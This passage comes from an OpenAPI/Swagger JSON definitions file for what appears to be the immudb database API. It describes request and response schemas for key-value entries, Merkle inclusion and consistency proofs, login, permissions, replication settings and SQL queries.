\"type\": \"integer\",\n          \"format\": \"int64\",\n          \"title\": \"Size of files stored on disk\"\n        },\n        \"maxKeyLen\": {\n          \"type\": \"integer\",\n          \"format\": \"int64\",\n          \"title\": \"Maximum length of keys\"\n        },\n        \"maxValueLen\": {\n          \"type\": \"integer\",\n          \"format\": \"int64\",\n          \"title\": \"Maximum length of values\"\n        },\n        \"maxTxEntries\": {\n          \"type\": \"integer\",\n          \"format\": \"int64\",\n          \"title\": \"Maximum number of entries in a single transaction\"\n        },\n        \"excludeCommitTime\": {\n          \"type\": \"boolean\",\n          \"title\": \"If set to true, do not include commit timestamp in transaction headers\"\n        }\n      }\n    },\n    \"schemaDatabaseSettingsRequest\": {\n      \"type\": \"object\"\n    },\n    \"schemaDatabaseSettingsResponse\": {\n      \"type\": \"object\",\n      \"properties\": {\n        \"database\": {\n          \"type\": \"string\",\n          \"title\": \"Database name\"\n        },\n        \"settings\": {\n          \"$ref\": \"#/definitions/schemaDatabaseNullableSettings\",\n          \"title\": \"Database settings\"\n        }\n      }\n    },\n    \"schemaDeleteDatabaseRequest\": {\n      \"type\": \"object\",\n      \"properties\": {\n        \"database\": {\n          \"type\": \"string\",\n          \"title\": \"Database name\"\n        }\n      }\n    },\n    \"schemaDeleteDatabaseResponse\": {\n      \"type\": \"object\",\n      \"properties\": {\n        \"database\": {\n          \"type\": \"string\",\n          \"title\": \"Database name\"\n        }\n      }\n    },\n    \"schemaDeleteKeysRequest\": {\n      \"type\": \"object\",\n      \"properties\": {\n        \"keys\": {\n          \"type\": \"array\",\n          \"items\": {\n            \"type\": \"string\",\n            \"format\": \"byte\"\n          },\n          \"title\": \"List of keys to delete logically\"\n        },\n        \"sinceTx\": {\n          \"type\": \"string\",\n          \"format\": \"uint64\",\n          \"title\": \"If 0, wait for index to be up-to-date,\\nIf \\u003e 0, wait for at least sinceTx transaction to be indexed\"\n        },\n        \"noWait\": {\n          \"type\": \"boolean\",\n          \"title\": \"If set to true, do not wait for the indexer to index this operation\"\n        }\n      }\n    },\n    \"schemaDualProof\": {\n      \"type\": \"object\",\n      \"properties\": {\n        \"sourceTxHeader\": {\n          \"$ref\": \"#/definitions/schemaTxHeader\",\n          \"title\": \"Header of the source (earlier) transaction\"\n        },\n        \"targetTxHeader\": {\n          \"$ref\": \"#/definitions/schemaTxHeader\",\n          \"title\": \"Header of the target (latter) transaction\"\n        },\n        \"inclusionProof\": {\n          \"type\": \"array\",\n          \"items\": {\n            \"type\": \"string\",\n            \"format\": \"byte\"\n          },\n          \"title\": \"Inclusion proof of the source transaction hash in the main Merkle Tree\"\n        },\n        \"consistencyProof\": {\n          \"type\": \"array\",\n          \"items\": {\n            \"type\": \"string\",\n            \"format\": \"byte\"\n          },\n          \"title\": \"Consistency proof between Merkle Trees in the source and target transactions\"\n        },\n        \"targetBlTxAlh\": {\n          \"type\": \"string\",\n          \"format\": \"byte\",\n          \"title\": \"Accumulative hash (Alh) of the last transaction that's part of the target Merkle Tree\"\n        },\n        \"lastInclusionProof\": {\n          \"type\": \"array\",\n          \"items\": {\n            \"type\": \"string\",\n            \"format\": \"byte\"\n          },\n          \"title\": \"Inclusion proof of the targetBlTxAlh in the target Merkle Tree\"\n        },\n        \"linearProof\": {\n          \"$ref\": \"#/definitions/schemaLinearProof\",\n          \"title\": \"Linear proof starting from targetBlTxAlh to the final state value\"\n        },\n        \"LinearAdvanceProof\": {\n          \"$ref\": \"#/definitions/schemaLinearAdvanceProof\",\n          \"title\": \"Proof of consistency between some part of older linear chain and newer Merkle Tree\"\n        }\n      },\n      \"title\": \"DualProof contains inclusion and consistency proofs for dual Merkle-Tree + Linear proofs\"\n    },\n    \"schemaEntries\": {\n      \"type\": \"object\",\n      \"properties\": {\n        \"entries\": {\n          \"type\": \"array\",\n          \"items\": {\n            \"$ref\": \"#/definitions/schemaEntry\"\n          },\n          \"title\": \"List of entries\"\n        }\n      }\n    },\n    \"schemaEntriesSpec\": {\n      \"type\": \"object\",\n      \"properties\": {\n        \"kvEntriesSpec\": {\n          \"$ref\": \"#/definitions/schemaEntryTypeSpec\",\n          \"title\": \"Specification for parsing KV entries\"\n        },\n        \"zEntriesSpec\": {\n          \"$ref\": \"#/definitions/schemaEntryTypeSpec\",\n          \"title\": \"Specification for parsing sorted set entries\"\n        },\n        \"sqlEntriesSpec\": {\n          \"$ref\": \"#/definitions/schemaEntryTypeSpec\",\n          \"title\": \"Specification for parsing SQL entries\"\n        }\n      }\n    },\n    \"schemaEntry\": {\n      \"type\": \"object\",\n      \"properties\": {\n        \"tx\": {\n          \"type\": \"string\",\n          \"format\": \"uint64\",\n          \"title\": \"Transaction id at which the target value was set (i.e. not the reference transaction id)\"\n        },\n        \"key\": {\n          \"type\": \"string\",\n          \"format\": \"byte\",\n          \"title\": \"Key of the target value (i.e. not the reference entry)\"\n        },\n        \"value\": {\n          \"type\": \"string\",\n          \"format\": \"byte\",\n          \"title\": \"Value\"\n        },\n        \"referencedBy\": {\n          \"$ref\": \"#/definitions/schemaReference\",\n          \"title\": \"If the request was for a reference, this field will keep information about the reference entry\"\n        },\n        \"metadata\": {\n          \"$ref\": \"#/definitions/schemaKVMetadata\",\n          \"title\": \"Metadata of the target entry (i.e. not the reference entry)\"\n        },\n        \"expired\": {\n          \"type\": \"boolean\",\n          \"title\": \"If set to true, this entry has expired and the value is not retrieved\"\n        },\n        \"revision\": {\n          \"type\": \"string\",\n          \"format\": \"uint64\",\n          \"title\": \"Key's revision, in case of GetAt it will be 0\"\n        }\n      }\n    },\n    \"schemaEntryCount\": {\n      \"type\": \"object\",\n      \"properties\": {\n        \"count\": {\n          \"type\": \"string\",\n          \"format\": \"uint64\"\n        }\n      }\n    },\n    \"schemaEntryTypeAction\": {\n      \"type\": \"string\",\n      \"enum\": [\n        \"EXCLUDE\",\n        \"ONLY_DIGEST\",\n        \"RAW_VALUE\",\n        \"RESOLVE\"\n      ],\n      \"default\": \"EXCLUDE\",\n      \"title\": \"- EXCLUDE: Exclude entries from the result\\n - ONLY_DIGEST: Provide keys in raw (unparsed) form and only the digest of the value\\n - RAW_VALUE: Provide keys and values in raw form\\n - RESOLVE: Provide parsed keys and values and resolve values if needed\"\n    },\n    \"schemaEntryTypeSpec\": {\n      \"type\": \"object\",\n      \"properties\": {\n        \"action\": {\n          \"$ref\": \"#/definitions/schemaEntryTypeAction\",\n          \"title\": \"Action to perform on entries\"\n        }\n      }\n    },\n    \"schemaExecAllRequest\": {\n      \"type\": \"object\",\n      \"properties\": {\n        \"Operations\": {\n          \"type\": \"array\",\n          \"items\": {\n            \"$ref\": \"#/definitions/schemaOp\"\n          },\n          \"title\": \"List of operations to perform\"\n        },\n        \"noWait\": {\n          \"type\": \"boolean\",\n          \"title\": \"If set to true, do not wait for indexing to process this transaction\"\n        },\n        \"preconditions\": {\n          \"type\": \"array\",\n          \"items\": {\n            \"$ref\": \"#/definitions/schemaPrecondition\"\n          },\n          \"title\": \"Preconditions to check\"\n        }\n      }\n    },\n    \"schemaExpiration\": {\n      \"type\": \"object\",\n      \"properties\": {\n        \"expiresAt\": {\n          \"type\": \"string\",\n          \"format\": \"int64\",\n          \"title\": \"Entry expiration time (unix timestamp in seconds)\"\n        }\n      }\n    },\n    \"schemaFlushIndexResponse\": {\n      \"type\": \"object\",\n      \"properties\": {\n        \"database\": {\n          \"type\": \"string\",\n          \"title\": \"Database name\"\n        }\n      }\n    },\n    \"schemaHealthResponse\": {\n      \"type\": \"object\",\n      \"properties\": {\n        \"status\": {\n          \"type\": \"boolean\",\n          \"title\": \"If true, server considers itself to be healthy\"\n        },\n        \"version\": {\n          \"type\": \"string\",\n          \"title\": \"The version of the server instance\"\n        }\n      }\n    },\n    \"schemaHistoryRequest\": {\n      \"type\": \"object\",\n      \"properties\": {\n        \"key\": {\n          \"type\": \"string\",\n          \"format\": \"byte\",\n          \"title\": \"Name of the key to query for the history\"\n        },\n        \"offset\": {\n          \"type\": \"string\",\n          \"format\": \"uint64\",\n          \"title\": \"Specify the initial entry to be returned by excluding the initial set of\\nentries\"\n        },\n        \"limit\": {\n          \"type\": \"integer\",\n          \"format\": \"int32\",\n          \"title\": \"Maximum number of entries to return\"\n        },\n        \"desc\": {\n          \"type\": \"boolean\",\n          \"title\": \"If true, search in descending order\"\n        },\n        \"sinceTx\": {\n          \"type\": \"string\",\n          \"format\": \"uint64\",\n          \"title\": \"If \\u003e 0, do not wait for the indexer to index all entries, only require\\nentries up to sinceTx to be indexed\"\n        }\n      }\n    },\n    \"schemaImmutableState\": {\n      \"type\": \"object\",\n      \"properties\": {\n        \"db\": {\n          \"type\": \"string\",\n          \"title\": \"The db name\"\n        },\n        \"txId\": {\n          \"type\": \"string\",\n          \"format\": \"uint64\",\n          \"title\": \"Id of the most recent transaction\"\n        },\n        \"txHash\": {\n          \"type\": \"string\",\n          \"format\": \"byte\",\n          \"title\": \"State of the most recent transaction\"\n        },\n        \"signature\": {\n          \"$ref\": \"#/definitions/schemaSignature\",\n          \"title\": \"Signature of the hash\"\n        },\n        \"precommittedTxId\": {\n          \"type\": \"string\",\n          \"format\": \"uint64\",\n          \"title\": \"Id of the most recent precommitted transaction\"\n        },\n        \"precommittedTxHash\": {\n          \"type\": \"string\",\n          \"format\": \"byte\",\n          \"title\": \"State of the most recent precommitted transaction\"\n        }\n      }\n    },\n    \"schemaInclusionProof\": {\n      \"type\": \"object\",\n      \"properties\": {\n        \"leaf\": {\n          \"type\": \"integer\",\n          \"format\": \"int32\",\n          \"title\": \"Index of the leaf for which the proof is generated\"\n        },\n        \"width\": {\n          \"type\": \"integer\",\n          \"format\": \"int32\",\n          \"title\": \"Width of the tree at the leaf level\"\n        },\n        \"terms\": {\n          \"type\": \"array\",\n          \"items\": {\n            \"type\": \"string\",\n            \"format\": \"byte\"\n          },\n          \"title\": \"Proof terms (selected hashes from the tree)\"\n        }\n      }\n    },\n    \"schemaIndexNullableSettings\": {\n      \"type\": \"object\",\n      \"properties\": {\n        \"flushThreshold\": {\n          \"$ref\": \"#/definitions/schemaNullableUint32\",\n          \"title\": \"Number of new index entries between disk flushes\"\n        },\n        \"syncThreshold\": {\n          \"$ref\": \"#/definitions/schemaNullableUint32\",\n          \"title\": \"Number of new index entries between disk flushes with file sync\"\n        },\n        \"cacheSize\": {\n          \"$ref\": \"#/definitions/schemaNullableUint32\",\n          \"title\": \"Size of the Btree node cache in bytes\"\n        },\n        \"maxNodeSize\": {\n          \"$ref\": \"#/definitions/schemaNullableUint32\",\n          \"title\": \"Max size of a single Btree node in bytes\"\n        },\n        \"maxActiveSnapshots\": {\n          \"$ref\": \"#/definitions/schemaNullableUint32\",\n          \"title\": \"Maximum number of active btree snapshots\"\n        },\n        \"renewSnapRootAfter\": {\n          \"$ref\": \"#/definitions/schemaNullableUint64\",\n          \"title\": \"Time in milliseconds between the most recent DB snapshot is automatically renewed\"\n        },\n        \"compactionThld\": {\n          \"$ref\": \"#/definitions/schemaNullableUint32\",\n          \"title\": \"Minimum number of updates entries in the btree to allow for full compaction\"\n        },\n        \"delayDuringCompaction\": {\n          \"$ref\": \"#/definitions/schemaNullableUint32\",\n          \"title\": \"Additional delay added during indexing when full compaction is in progress\"\n        },\n        \"nodesLogMaxOpenedFiles\": {\n          \"$ref\": \"#/definitions/schemaNullableUint32\",\n          \"title\": \"Maximum number of simultaneously opened nodes files\"\n        },\n        \"historyLogMaxOpenedFiles\": {\n          \"$ref\": \"#/definitions/schemaNullableUint32\",\n          \"title\": \"Maximum number of simultaneously opened node history files\"\n        },\n        \"commitLogMaxOpenedFiles\": {\n          \"$ref\": \"#/definitions/schemaNullableUint32\",\n          \"title\": \"Maximum number of simultaneously opened commit log files\"\n        },\n        \"flushBufferSize\": {\n          \"$ref\": \"#/definitions/schemaNullableUint32\",\n          \"title\": \"Size of the in-memory flush buffer (in bytes)\"\n        },\n        \"cleanupPercentage\": {\n          \"$ref\": \"#/definitions/schemaNullableFloat\",\n          \"title\": \"Percentage of node files cleaned up during each flush\"\n        },\n        \"maxBulkSize\": {\n          \"$ref\": \"#/definitions/schemaNullableUint32\",\n          \"title\": \"Maximum number of transactions indexed together\"\n        },\n        \"bulkPreparationTimeout\": {\n          \"$ref\": \"#/definitions/schemaNullableMilliseconds\",\n          \"title\": \"Maximum time waiting for more transactions to be committed and included into the same bulk\"\n        }\n      }\n    },\n    \"schemaKVMetadata\": {\n      \"type\": \"object\",\n      \"properties\": {\n        \"deleted\": {\n          \"type\": \"boolean\",\n          \"title\": \"True if this entry denotes a logical deletion\"\n        },\n        \"expiration\": {\n          \"$ref\": \"#/definitions/schemaExpiration\",\n          \"title\": \"Entry expiration information\"\n        },\n        \"nonIndexable\": {\n          \"type\": \"boolean\",\n          \"title\": \"If set to true, this entry will not be indexed and will only be accessed through GetAt calls\"\n        }\n      }\n    },\n    \"schemaKeyListRequest\": {\n      \"type\": \"object\",\n      \"properties\": {\n        \"keys\": {\n          \"type\": \"array\",\n          \"items\": {\n            \"type\": \"string\",\n            \"format\": \"byte\"\n          },\n          \"title\": \"List of keys to query for\"\n        },\n        \"sinceTx\": {\n          \"type\": \"string\",\n          \"format\": \"uint64\",\n          \"title\": \"If 0, wait for index to be up-to-date,\\nIf \\u003e 0, wait for at least sinceTx transaction to be indexed\"\n        }\n      }\n    },\n    \"schemaKeyRequest\": {\n      \"type\": \"object\",\n      \"properties\": {\n        \"key\": {\n          \"type\": \"string\",\n          \"format\": \"byte\",\n          \"title\": \"Key to query for\"\n        },\n        \"atTx\": {\n          \"type\": \"string\",\n          \"format\": \"uint64\",\n          \"title\": \"If \\u003e 0, query for the value exactly at given transaction\"\n        },\n        \"sinceTx\": {\n          \"type\": \"string\",\n          \"format\": \"uint64\",\n          \"title\": \"If 0 (and noWait=false), wait for the index to be up-to-date,\\nIf \\u003e 0 (and noWait=false), wait for at lest the sinceTx transaction to be indexed\"\n        },\n        \"noWait\": {\n          \"type\": \"boolean\",\n          \"title\": \"If set to true - do not wait for any indexing update considering only the currently indexed state\"\n        },\n        \"atRevision\": {\n          \"type\": \"string\",\n          \"format\": \"int64\",\n          \"title\": \"If \\u003e 0, get the nth version of the value, 1 being the first version, 2 being the second and so on\\nIf \\u003c 0, get the historical nth value of the key, -1 being the previous version, -2 being the one before and so on\"\n        }\n      }\n    },\n    \"schemaKeyValue\": {\n      \"type\": \"object\",\n      \"properties\": {\n        \"key\": {\n          \"type\": \"string\",\n          \"format\": \"byte\"\n        },\n        \"value\": {\n          \"type\": \"string\",\n          \"format\": \"byte\"\n        },\n        \"metadata\": {\n          \"$ref\": \"#/definitions/schemaKVMetadata\"\n        }\n      }\n    },\n    \"schemaLinearAdvanceProof\": {\n      \"type\": \"object\",\n      \"properties\": {\n        \"linearProofTerms\": {\n          \"type\": \"array\",\n          \"items\": {\n            \"type\": \"string\",\n            \"format\": \"byte\"\n          },\n          \"title\": \"terms for the linear chain\"\n        },\n        \"inclusionProofs\": {\n          \"type\": \"array\",\n          \"items\": {\n            \"$ref\": \"#/definitions/schemaInclusionProof\"\n          },\n          \"title\": \"inclusion proofs for steps on the linear chain\"\n        }\n      },\n      \"title\": \"LinearAdvanceProof contains the proof of consistency between the consumed part of the older linear chain\\nand the new Merkle Tree\"\n    },\n    \"schemaLinearProof\": {\n      \"type\": \"object\",\n      \"properties\": {\n        \"sourceTxId\": {\n          \"type\": \"string\",\n          \"format\": \"uint64\",\n          \"title\": \"Starting transaction of the proof\"\n        },\n        \"TargetTxId\": {\n          \"type\": \"string\",\n          \"format\": \"uint64\",\n          \"title\": \"End transaction of the proof\"\n        },\n        \"terms\": {\n          \"type\": \"array\",\n          \"items\": {\n            \"type\": \"string\",\n            \"format\": \"byte\"\n          },\n          \"title\": \"List of terms (inner hashes of transaction entries)\"\n        }\n      },\n      \"title\": \"LinearProof contains the linear part of the proof (outside the main Merkle Tree)\"\n    },\n    \"schemaLoadDatabaseRequest\": {\n      \"type\": \"object\",\n      \"properties\": {\n        \"database\": {\n          \"type\": \"string\"\n        }\n      }\n    },\n    \"schemaLoadDatabaseResponse\": {\n      \"type\": \"object\",\n      \"properties\": {\n        \"database\": {\n          \"type\": \"string\",\n          \"title\": \"Database name\"\n        }\n      }\n    },\n    \"schemaLoginRequest\": {\n      \"type\": \"object\",\n      \"properties\": {\n        \"user\": {\n          \"type\": \"string\",\n          \"format\": \"byte\",\n          \"title\": \"Username\"\n        },\n        \"password\": {\n          \"type\": \"string\",\n          \"format\": \"byte\",\n          \"title\": \"User's password\"\n        }\n      }\n    },\n    \"schemaLoginResponse\": {\n      \"type\": \"object\",\n      \"properties\": {\n        \"token\": {\n          \"type\": \"string\",\n          \"title\": \"Deprecated: use session-based authentication\"\n        },\n        \"warning\": {\n          \"type\": \"string\",\n          \"format\": \"byte\",\n          \"title\": \"Optional: additional warning message sent to the user (e.g. request to change the password)\"\n        }\n      }\n    },\n    \"schemaNamedParam\": {\n      \"type\": \"object\",\n      \"properties\": {\n        \"name\": {\n          \"type\": \"string\",\n          \"title\": \"Parameter name\"\n        },\n        \"value\": {\n          \"$ref\": \"#/definitions/schemaSQLValue\",\n          \"title\": \"Parameter value\"\n        }\n      }\n    },\n    \"schemaNewTxResponse\": {\n      \"type\": \"object\",\n      \"properties\": {\n        \"transactionID\": {\n          \"type\": \"string\",\n          \"title\": \"Internal transaction ID\"\n        }\n      }\n    },\n    \"schemaNullableBool\": {\n      \"type\": \"object\",\n      \"properties\": {\n        \"value\": {\n          \"type\": \"boolean\"\n        }\n      }\n    },\n    \"schemaNullableFloat\": {\n      \"type\": \"object\",\n      \"properties\": {\n        \"value\": {\n          \"type\": \"number\",\n          \"format\": \"float\"\n        }\n      }\n    },\n    \"schemaNullableMilliseconds\": {\n      \"type\": \"object\",\n      \"properties\": {\n        \"value\": {\n          \"type\": \"string\",\n          \"format\": \"int64\"\n        }\n      }\n    },\n    \"schemaNullableString\": {\n      \"type\": \"object\",\n      \"properties\": {\n        \"value\": {\n          \"type\": \"string\"\n        }\n      }\n    },\n    \"schemaNullableUint32\": {\n      \"type\": \"object\",\n      \"properties\": {\n        \"value\": {\n          \"type\": \"integer\",\n          \"format\": \"int64\"\n        }\n      }\n    },\n    \"schemaNullableUint64\": {\n      \"type\": \"object\",\n      \"properties\": {\n        \"value\": {\n          \"type\": \"string\",\n          \"format\": \"uint64\"\n        }\n      }\n    },\n    \"schemaOp\": {\n      \"type\": \"object\",\n      \"properties\": {\n        \"kv\": {\n          \"$ref\": \"#/definitions/schemaKeyValue\",\n          \"title\": \"Modify / add simple KV value\"\n        },\n        \"zAdd\": {\n          \"$ref\": \"#/definitions/schemaZAddRequest\",\n          \"title\": \"Modify / add sorted set entry\"\n        },\n        \"ref\": {\n          \"$ref\": \"#/definitions/schemaReferenceRequest\",\n          \"title\": \"Modify / add reference\"\n        }\n      }\n    },\n    \"schemaOpenSessionResponse\": {\n      \"type\": \"object\",\n      \"properties\": {\n        \"sessionID\": {\n          \"type\": \"string\",\n          \"title\": \"Id of the new session\"\n        },\n        \"serverUUID\": {\n          \"type\": \"string\",\n          \"title\": \"UUID of the server\"\n        }\n      }\n    },\n    \"schemaPermission\": {\n      \"type\": \"object\",\n      \"properties\": {\n        \"database\": {\n          \"type\": \"string\",\n          \"title\": \"Database name\"\n        },\n        \"permission\": {\n          \"type\": \"integer\",\n          \"format\": \"int64\",\n          \"title\": \"Permission, 1 - read permission, 2 - read+write permission, 254 - admin, 255 - sysadmin\"\n        }\n      }\n    },\n    \"schemaPermissionAction\": {\n      \"type\": \"string\",\n      \"enum\": [\n        \"GRANT\",\n        \"REVOKE\"\n      ],\n      \"default\": \"GRANT\",\n      \"title\": \"- GRANT: Grant permission\\n - REVOKE: Revoke permission\"\n    },\n    \"schemaPrecondition\": {\n      \"type\": \"object\",\n      \"properties\": {\n        \"keyMustExist\": {\n          \"$ref\": \"#/definitions/PreconditionKeyMustExistPrecondition\"\n        },\n        \"keyMustNotExist\": {\n          \"$ref\": \"#/definitions/PreconditionKeyMustNotExistPrecondition\"\n        },\n        \"keyNotModifiedAfterTX\": {\n          \"$ref\": \"#/definitions/PreconditionKeyNotModifiedAfterTXPrecondition\"\n        }\n      }\n    },\n    \"schemaReference\": {\n      \"type\": \"object\",\n      \"properties\": {\n        \"tx\": {\n          \"type\": \"string\",\n          \"format\": \"uint64\",\n          \"title\": \"Transaction if when the reference key was set\"\n        },\n        \"key\": {\n          \"type\": \"string\",\n          \"format\": \"byte\",\n          \"title\": \"Reference key\"\n        },\n        \"atTx\": {\n          \"type\": \"string\",\n          \"format\": \"uint64\",\n          \"title\": \"At which transaction the key is bound, 0 if reference is not bound and should read the most recent reference\"\n        },\n        \"metadata\": {\n          \"$ref\": \"#/definitions/schemaKVMetadata\",\n          \"title\": \"Metadata of the reference entry\"\n        },\n        \"revision\": {\n          \"type\": \"string\",\n          \"format\": \"uint64\",\n          \"title\": \"Revision of the reference entry\"\n        }\n      }\n    },\n    \"schemaReferenceRequest\": {\n      \"type\": \"object\",\n      \"properties\": {\n        \"key\": {\n          \"type\": \"string\",\n          \"format\": \"byte\",\n          \"title\": \"Key for the reference\"\n        },\n        \"referencedKey\": {\n          \"type\": \"string\",\n          \"format\": \"byte\",\n          \"title\": \"Key to be referenced\"\n        },\n        \"atTx\": {\n          \"type\": \"string\",\n          \"format\": \"uint64\",\n          \"title\": \"If boundRef == true, id of transaction to bind with the reference\"\n        },\n        \"boundRef\": {\n          \"type\": \"boolean\",\n          \"title\": \"If true, bind the reference to particular transaction,\\nif false, use the most recent value of the key\"\n        },\n        \"noWait\": {\n          \"type\": \"boolean\",\n          \"title\": \"If true, do not wait for the indexer to index this write operation\"\n        },\n        \"preconditions\": {\n          \"type\": \"array\",\n          \"items\": {\n            \"$ref\": \"#/definitions/schemaPrecondition\"\n          },\n          \"title\": \"Preconditions to be met to perform the write\"\n        }\n      }\n    },\n    \"schemaReplicaState\": {\n      \"type\": \"object\",\n      \"properties\": {\n        \"UUID\": {\n          \"type\": \"string\"\n        },\n        \"committedTxID\": {\n          \"type\": \"string\",\n          \"format\": \"uint64\"\n        },\n        \"committedAlh\": {\n          \"type\": \"string\",\n          \"format\": \"byte\"\n        },\n        \"precommittedTxID\": {\n          \"type\": \"string\",\n          \"format\": \"uint64\"\n        },\n        \"precommittedAlh\": {\n          \"type\": \"string\",\n          \"format\": \"byte\"\n        }\n      }\n    },\n    \"schemaReplicationNullableSettings\": {\n      \"type\": \"object\",\n      \"properties\": {\n        \"replica\": {\n          \"$ref\": \"#/definitions/schemaNullableBool\",\n          \"title\": \"If set to true, this database is replicating another database\"\n        },\n        \"primaryDatabase\": {\n          \"$ref\": \"#/definitions/schemaNullableString\",\n          \"title\": \"Name of the database to replicate\"\n        },\n        \"primaryHost\": {\n          \"$ref\": \"#/definitions/schemaNullableString\",\n          \"title\": \"Hostname of the immudb instance with database to replicate\"\n        },\n        \"primaryPort\": {\n          \"$ref\": \"#/definitions/schemaNullableUint32\",\n          \"title\": \"Port of the immudb instance with database to replicate\"\n        },\n        \"primaryUsername\": {\n          \"$ref\": \"#/definitions/schemaNullableString\",\n          \"title\": \"Username of the user with read access of the database to replicate\"\n        },\n        \"primaryPassword\": {\n          \"$ref\": \"#/definitions/schemaNullableString\",\n          \"title\": \"Password of the user with read access of the database to replicate\"\n        },\n        \"syncReplication\": {\n          \"$ref\": \"#/definitions/schemaNullableBool\",\n          \"title\": \"Enable synchronous replication\"\n        },\n        \"syncAcks\": {\n          \"$ref\": \"#/definitions/schemaNullableUint32\",\n          \"title\": \"Number of confirmations from synchronous replicas required to commit a transaction\"\n        },\n        \"prefetchTxBufferSize\": {\n          \"$ref\": \"#/definitions/schemaNullableUint32\",\n          \"title\": \"Maximum number of prefetched transactions\"\n        },\n        \"replicationCommitConcurrency\": {\n          \"$ref\": \"#/definitions/schemaNullableUint32\",\n          \"title\": \"Number of concurrent replications\"\n        },\n        \"allowTxDiscarding\": {\n          \"$ref\": \"#/definitions/schemaNullableBool\",\n          \"title\": \"Allow precommitted transactions to be discarded if the replica diverges from the primary\"\n        },\n        \"skipIntegrityCheck\": {\n          \"$ref\": \"#/definitions/schemaNullableBool\",\n          \"title\": \"Disable integrity check when reading data during replication\"\n        },\n        \"waitForIndexing\": {\n          \"$ref\": \"#/definitions/schemaNullableBool\",\n          \"title\": \"Wait for indexing to be up to date during replication\"\n        }\n      }\n    },\n    \"schemaRow\": {\n      \"type\": \"object\",\n      \"properties\": {\n        \"columns\": {\n          \"type\": \"array\",\n          \"items\": {\n            \"type\": \"string\"\n          },\n          \"title\": \"Column names\"\n        },\n        \"values\": {\n          \"type\": \"array\",\n          \"items\": {\n            \"$ref\": \"#/definitions/schemaSQLValue\"\n          },\n          \"title\": \"Column values\"\n        }\n      }\n    },\n    \"schemaSQLEntry\": {\n      \"type\": \"object\",\n      \"properties\": {\n        \"tx\": {\n          \"type\": \"string\",\n          \"format\": \"uint64\",\n          \"title\": \"Id of the transaction when the row was added / modified\"\n        },\n        \"key\": {\n          \"type\": \"string\",\n          \"format\": \"byte\",\n          \"title\": \"Raw key of the row\"\n        },\n        \"value\": {\n          \"type\": \"string\",\n          \"format\": \"byte\",\n          \"title\": \"Raw value of the row\"\n        },\n        \"metadata\": {\n          \"$ref\": \"#/definitions/schemaKVMetadata\",\n          \"title\": \"Metadata of the raw value\"\n        }\n      }\n    },\n    \"schemaSQLExecRequest\": {\n      \"type\": \"object\",\n      \"properties\": {\n        \"sql\": {\n          \"type\": \"string\",\n          \"title\": \"SQL query\"\n        },\n        \"params\": {\n          \"type\": \"array\",\n          \"items\": {\n            \"$ref\": \"#/definitions/schemaNamedParam\"\n          },\n          \"title\": \"Named query parameters\"\n        },\n        \"noWait\": {\n          \"type\": \"boolean\",\n          \"title\": \"If true, do not wait for the indexer to index written changes\"\n        }\n      }\n    },\n    \"schemaSQLExecResult\": {\n      \"type\": \"object\",\n      \"properties\": {\n        \"txs\": {\n          \"type\": \"array\",\n          \"items\": {\n            \"$ref\": \"#/definitions/schemaCommittedSQLTx\"\n          },\n          \"title\": \"List of committed transactions as a result of the exec operation\"\n        },\n        \"ongoingTx\": {\n          \"type\": \"boolean\",\n          \"title\": \"If true, there's an ongoing transaction after exec completes\"\n        }\n      }\n    },\n    \"schemaSQLGetRequest\": {\n      \"type\": \"object\",\n      \"properties\": {\n        \"table\": {\n          \"type\": \"string\",\n          \"title\": \"Table name\"\n        },\n        \"pkValues\": {\n          \"type\": \"array\",\n          \"items\": {\n            \"$ref\": \"#/definitions/schemaSQLValue\"\n          },\n          \"title\": \"Values of the primary key\"\n        },\n        \"atTx\": {\n          \"type\": \"string\",\n          \"format\": \"uint64\",\n          \"title\": \"Id of the transaction at which the row was added / modified\"\n        },\n        \"sinceTx\": {\n          \"type\": \"string\",\n          \"format\": \"uint64\",\n          \"title\": \"If \\u003e 0, do not wait for the indexer to index all entries, only require entries up to sinceTx to be indexed\"\n        }\n      }\n    },\n    \"schemaSQLPrivilege\": {\n      \"type\": \"object\",\n      \"properties\": {\n        \"database\": {\n          \"type\": \"string\",\n          \"title\": \"Database name\"\n        },\n        \"privilege\": {\n          \"type\": \"string\",\n          \"title\": \"Privilege: SELECT, CREATE, INSERT, UPDATE, DELETE, DROP, ALTER\"\n        }\n      }\n    },\n    \"schemaSQLQueryRequest\": {\n      \"type\": \"object\",\n      \"properties\": {\n        \"sql\": {\n          \"type\": \"string\",\n          \"title\": \"SQL query\"\n        },\n        \"params\": {\n          \"type\": \"array\",\n          \"items\": {\n            \"$ref\": \"#/definitions/schemaNamedParam\"\n          },\n          \"title\": \"Named query parameters\"\n        },\n        \"reuseSnapshot\": {\n          \"type\": \"boolean\",\n          \"title\": \"If true, reuse previously opened snapshot\"\n        },\n        \"acceptStream\": {\n          \"type\": \"boolean\",\n          \"title\": \"Wheter the client accepts a streaming response\"\n        }\n      }\n    },\n    \"schemaSQLQueryResult\": {\n      \"type\": \"object\",\n      \"properties\": {\n        \"columns\": {\n          \"type\": \"array\",\n          \"items\": {\n            \"$ref\": \"#/definitions/schemaColumn\"\n          },\n          \"title\": \"Result columns description\"\n        },\n        \"rows\": {\n          \"type\": \"array\",\n          \"items\": {\n            \"$ref\": \"#/definitions/schemaRow\"\n          },\n          \"title\": \"Result rows\"\n        }\n      }\n    },\n    \"schemaSQLValue\": {\n      \"type\": \"object\",\n      \"properties\": {\n        \"null\": {\n          \"type\": \"string\"\n        },\n        \"n\": {\n          \"type\": \"string\",\n          \"format\": \"int64\"\n        },\n        \"s\": {\n          \"type\": \"string\"\n        },\n        \"b\": {\n          \"type\": \"boolean\"\n        },\n        \"bs\": {\n          \"type\": \"string\",\n          \"format\": \"byte\"\n        },\n        \"ts\": {\n          \"type\": \"string\",\n          \"format\": \"int64\"\n        },\n        \"f\": {\n          \"type\": \"number\",\n          \"format\": \"double\"\n        }\n      }\n    },\n    \"schemaScanRequest\": {\n      \"type\": \"object\",\n      \"properties\": {\n        \"seekKey\": {\n          \"type\": \"string\",\n          \"format\": \"byte\",\n          \"title\": \"If not empty, continue scan at (when inclusiveSeek == true)\\nor after (when inclusiveSeek == false) that key\"\n        },\n        \"endKey\": {\n          \"type\": \"string\",\n          \"format\": \"byte\",\n          \"title\": \"stop at (when inclusiveEnd == true)\\nor before (when inclusiveEnd == false) that key\"\n        },\n        \"prefix\": {\n          \"type\": \"string\",\n          \"format\": \"byte\",\n          \"title\": \"search for entries with this prefix only\"\n        },\n        \"desc\": {\n          \"type\": \"boolean\",\n          \"title\": \"If set to true, sort items in descending order\"\n        },\n        \"limit\": {\n          \"type\": \"string\",\n          \"format\": \"uint64\",\n          \"title\": \"maximum number of entries to get, if not specified, the default value is used\"\n        },\n        \"sinceTx\": {\n          \"type\": 